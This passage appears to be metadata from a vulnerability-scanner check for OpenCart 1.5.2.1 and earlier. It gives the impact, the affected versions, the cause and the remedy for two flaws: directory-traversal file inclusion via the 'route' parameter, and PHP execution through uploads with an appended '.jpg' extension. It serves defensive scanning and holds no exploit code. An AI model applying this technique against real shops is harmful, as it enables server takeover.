tag_impact = "Successful exploitation will allow attacker to upload PHP scripts
and include arbitrary files from local resources via directory traversal attacks.

Impact Level: Application";

tag_affected = "OpenCart version 1.5.2.1 and prior";

tag_insight = "The flaws are due to
- An input passed via the 'route' parameter to index.php is not properly
verified before being used to include files.
- 'admin/controller/catalog/download.php' script does not properly validate
uploaded files, which can be exploited to execute arbitrary PHP code by
uploading a PHP file with an appended '.jpg' file extension.";

tag_solution = "No solution or patch was made available for at least one year
since disclosure of this vulnerability. Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective
features, remove the product or replace the product by another one.";

vulnerabilities.";
